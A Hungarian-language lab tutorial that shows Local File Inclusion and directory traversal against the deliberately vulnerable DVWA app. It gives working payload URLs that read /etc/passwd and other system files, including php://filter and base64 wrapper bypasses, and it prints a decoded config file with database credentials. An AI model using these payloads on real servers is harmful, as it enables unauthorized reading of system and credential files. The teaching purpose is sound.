Felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy a saját fejlesztésű webes alkalmazások biztonságosabbak legyenek. Nem célunk, és határozottan elzárkózunk attól, hogy segítsünk bárkinek számítógépes bűncselekmények elkövetésében.
A File Inclusion egy biztonsági rés a webes akalmazásokban, amely lehetővé teszi a látogatók/támadók számára a tárhelyen lévő fájlok olvasását, keresését, megjelenítését, sőt, még adott esetben a futtatását is. Ez egy eléggé veszélyes támadási módszer, mert ha a webkiszolgálót rosszul konfigurálták, akkor a támadó érzékeny adatokhoz férhet hozzá. Ennek a támadási módnak a kihasználásához általában igénybe kell venni az ún "Directory Traversal"-t is, amely ebben a cikkben is szerepelni fog.
Két file inclusion létezik, a Local File Inclusion (LFI), illetve a Remote File Inclusion (RFI). Az LFI alkalmazásakor a támadó file-okat olvashat, illetve futtathat a webes alkalmazásnál. Az RFI-nél a támadó olyan kódokat tud futtatni a webes alkalmazásnál, amelyet a tárhely/webes alkalmazás nem is tartalmaz.
Ebben a cikkben az LFI kerül bemutatásra.
Indítsuk el a virtuális gépen telepített DVWA tesztalkalmazásunkat, és jelöljük ki a "Low" biztonsági szintet. Ezután navigáljunk a baloldali menüsor segítségével a következő URL-re (vagy gépeljük be).
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=file1.php
Ekkor az első php file-t futtattuk, amely kiírja a bejelentkezett felhasználó nevét, illetve az IP címét.
1. ábra A file1.php futtatása
De mi történik akkor, ha nem a "file1.php"-t futtatjuk, hanem megpróbálunk kiolvasni különböző file-ok tartalmát? Az OWASP módszertan több tesztesetből áll, az egyik szolgál arra, hogy megállapítsuk a tárhelyen futó operációs rendszert. Ez már korábban megtörtént (Linux), ezért most a Linux oprációs rendszer felépítését ismerve kipróbálhatók, hogy milyen file-ok tartalma olvashatók ki.
Ehhez alkalmazzuk a "Directory Traversal"-t, de nevezik ezt a módszert Path Traversal-nak is. Ez egy biztonsági rés a webes alkalmazásoknál, amely lehetővé teszi a webes alkalmazást felhasználó számára, hogy megismerje a tárhely operációs rendszerének felépítését, hozzá tudjon férni adott könyvtárakhoz.
Módosítsuk az URL-t következő példa szerint. A "../" segítségével tudunk a könyvtárszerkezetben egyre "mélyebbre" menni.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../phpinfo.php
Látható a 2. ábrán, hogy sikerült megtalálni és kiolvasni a phpinfo.php tartalmát.
2. ábra A phpinfo.php file tartalma a böngészőben
Derítsük ki most a tárhelynek az operációs rendszerét, illetve annak a verziószámát, stb. Ehhez a következő file tartalmát kell kiolvasnunk
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../proc/version
Sikeres volt a "version" file tartalmának a kiolvasása, a böngészőben megjelenik a keresett adat (3. ábra).
3. ábra /proc/version file tartalma a böngészőben
Nézzük most meg konkrétan a tárhely operációs rendszerének nevét és verzióját. Nézzük meg az "issue" tartalmát, amelyet az "etc" könyvtárban találunk.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../../etc/issue
Megtudtuk a tárhely operációs rendszerének a nevét (4. ábra).
4. ábra Ubuntu 12.04 LTS az operációs rendszer
Nézzük most meg a profile-t, amely szintén az "etc" könyvtárban találunk meg.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../../etc/profile
Sikerült ennek a file-nak is megnézni a tartalmát is (5. ábra)
5. ábra Az /etc/profile tartalma a böngészőn
A Directory Traversal segítségével nézzük végül meg az "etc" köynvtárban található "passwd" file tartalmát. Fontosnak tartjuk megjegyezni azt, hogy itt csak a felhasználók neveit találjuk meg, a jelszavak hash-elt verziói nem itt kerültek elhelyezésre.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=../../../../../etc/passwd
Sikerült kiolvasni a felhasználók neveit, ezáltal egy esetleges brute force vizsgálat is kényelmesebbé válik (6. ábra).
6. ábra Felhasználók nevei
Igen ám, de mi a helyzet akkor, amikor nem működik a Directory Traversal? Sikerülnek-e akkor is a korábbi file-ok tartalmának a kiolvasása? Nézzük meg példaként az passwd file-t.
Írjuk be a következő URL-t.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=file:///etc/passwd
Ugyanazt az eredményt kapjuk, mint a korábbi módszerrel (7. ábra).
7. ábra Szintén megjelenítésre kerültek a felhasználók nevei
És mi van akkor, ha ez a megoldás is tiltott a szerveroldalon? Próbáljunk ki egy másik tesztesetet, írjuk be a következő URL-t.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd
Szintén megkaptuk a felhasználók listáját (8. ábra).
8. ábra Kilistázzuk újra a felhasználók neveit
Végezetül nézzük meg azt, amikor "csak" a base64-es kódolás segít, hiszen a szerveroldalon tiltásra kerültek a korábban alkalmazott speciális karakterek. Alkalmazzuk most a következő linket.
http://192.168.56.102/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../config/config.inc.php
Látjuk a fent említett linkben, hogy a config file-t base64-es kódolással érjük el, megkerülve ezáltal a validálás szabályait. A böngészőben megjelenik az eredmény, amely értelmezhetetlen még, mert elkódolásra került (9. ábra).
9. ábra Az eredmény base64-ben
Másoljuk ki a böngészőből a teljes eredményt.
PD9waHANCg0KIyBJZiB5b3UgYXJlIGhhdmluZyBwcm9ibGVtcyBjb25uZWN0aW5nIHRvIHRoZSBNeVNRTCBkYXRhYmFzZSBhbmQgYWxsIG9mIHRoZSB2YXJpYWJsZXMgYmVsb3cgYXJlIGNvcnJlY3QNCiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4NCiMgICBUaGFua3MgdG8gQGRpZ2luaW5qYSBmb3IgdGhlIGZpeC4NCg0KIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UNCiREQk1TID0gJ015U1FMJzsNCiMkREJNUyA9ICdQR1NRTCc7IC8vIEN1cnJlbnRseSBkaXNhYmxlZA0KDQojIERhdGFiYXNlIHZhcmlhYmxlcw0KIyAgIFdBUk5JTkc6IFRoZSBkYXRhYmFzZSBzcGVjaWZpZWQgdW5kZXIgZGJfZGF0YWJhc2UgV0lMTCBCRSBFTlRJUkVMWSBERUxFVEVEIGR1cmluZyBzZXR1cC4NCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuDQojDQojIElmIHlvdSBhcmUgdXNpbmcgTWFyaWFEQiB0aGVuIHlvdSBjYW5ub3QgdXNlIHJvb3QsIHlvdSBtdXN0IHVzZSBjcmVhdGUgYSBkZWRpY2F0ZWQgRFZXQSB1c2VyLg0KIyAgIFNlZSBSRUFETUUubWQgZm9yIG1vcmUgaW5mb3JtYXRpb24gb24gdGhpcy4NCiRfRFZXQSA9IGFycmF5KCk7DQokX0RWV0FbICdkYl9zZXJ2ZXInIF0gICA9ICcxMjcuMC4wLjEnOw0KJF9EVldBWyAnZGJfZGF0YWJhc2UnIF0gPSAnZHZ3YSc7DQokX0RWV0FbICdkYl91c2VyJyBdICAgICA9ICd0ZXN6dCc7DQokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9ICdqZWxzem8nOw0KDQojIE9ubHkgdXNlZCB3aXRoIFBvc3RncmVTUUwvUEdTUUwgZGF0YWJhc2Ugc2VsZWN0aW9uLg0KJF9EVldBWyAnZGJfcG9ydCAnXSA9ICc1NDMyJzsNCg0KIyBSZUNBUFRDSEEgc2V0dGluZ3MNCiMgICBVc2VkIGZvciB0aGUgJ0luc2VjdXJlIENBUFRDSEEnIG1vZHVsZQ0KIyAgIFlvdSdsbCBuZWVkIHRvIGdlbmVyYXRlIHlvdXIgb3duIGtleXMgYXQ6IGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FkbWluDQokX0RWV0FbICdyZWNhcHRjaGFfcHVibGljX2tleScgXSAgPSAnJzsNCiRfRFZXQVsgJ3JlY2FwdGNoYV9wcml2YXRlX2tleScgXSA9ICcnOw0KDQojIERlZmF1bHQgc2VjdXJpdHkgbGV2ZWwNCiMgICBEZWZhdWx0IHZhbHVlIGZvciB0aGUgc2VjdWlydHkgbGV2ZWwgd2l0aCBlYWNoIHNlc3Npb24uDQojICAgVGhlIGRlZmF1bHQgaXMgJ2ltcG9zc2libGUnLiBZb3UgbWF5IHdpc2ggdG8gc2V0IHRoaXMgdG8gZWl0aGVyICdsb3cnLCAnbWVkaXVtJywgJ2hpZ2gnIG9yIGltcG9zc2libGUnLg0KJF9EVldBWyAnZGVmYXVsdF9zZWN1cml0eV9sZXZlbCcgXSA9ICdpbXBvc3NpYmxlJzsNCg0KIyBEZWZhdWx0IFBIUElEUyBzdGF0dXMNCiMgICBQSFBJRFMgc3RhdHVzIHdpdGggZWFjaCBzZXNzaW9uLg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICdlbmFibGVkJyBvciAnZGlzYWJsZWQnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfbGV2ZWwnIF0gPSAnZGlzYWJsZWQnOw0KDQojIFZlcmJvc2UgUEhQSURTIG1lc3NhZ2VzDQojICAgRW5hYmxpbmcgdGhpcyB3aWxsIHNob3cgd2h5IHRoZSBXQUYgYmxvY2tlZCB0aGUgcmVxdWVzdCBvbiB0aGUgYmxvY2tlZCByZXF1ZXN0Lg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICd0cnVlJyBvciAnZmFsc2UnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfdmVyYm9zZScgXSA9ICdmYWxzZSc7DQoNCj8+DQo=
Kódoljuk vissza, és a következő eredményt kapjuk.
<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.
# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'teszt';
$_DVWA[ 'db_password' ] = 'jelszo';
# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
# Default security level
# Default value for the secuirty level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';
# Default PHPIDS status
# PHPIDS status with each session.
# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';
# Verbose PHPIDS messages
# Enabling this will show why the WAF blocked the request on the blocked request.
# The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';
?>
Látható, hogy sikerült kiolvani a vizsgált webs alkalmazás config file-ját, és megtaláljuk benne a különböző érzékeny adatokat.
Még egyszer felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy rámutassunk a filefeltöltés sérülékenység veszélyére, és az ellene való védekezés fontosságára. Határozottan elhatárolódunk bármilyen bűncselekmény elkövetésének a segítésében.
Az információs rendszer vagy adat megsértése bűncselekmény (423. §).
Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .
A Python programozási nyelv nagyon elterjedt a fejlesztők körében. Használják beágyazott rendszereknél, webes alkalmazásoknál, IT biztonság különböző területein, stb. Látható, hogy nagyon széles a felhasználási területe ennek a nyelvnek, ideje volt m. . . .
Elkezdjük most részletesebben megismerni az nmap használatát. Az nmap nagyon fontos eszköz az IT biztonsággal, illetve az üzemeltetéssel foglalkozó szakembereknél. De hogyan működik? Hogyan lehet és érdemes a scannelési tulajdonságokat beállítani? M. . . .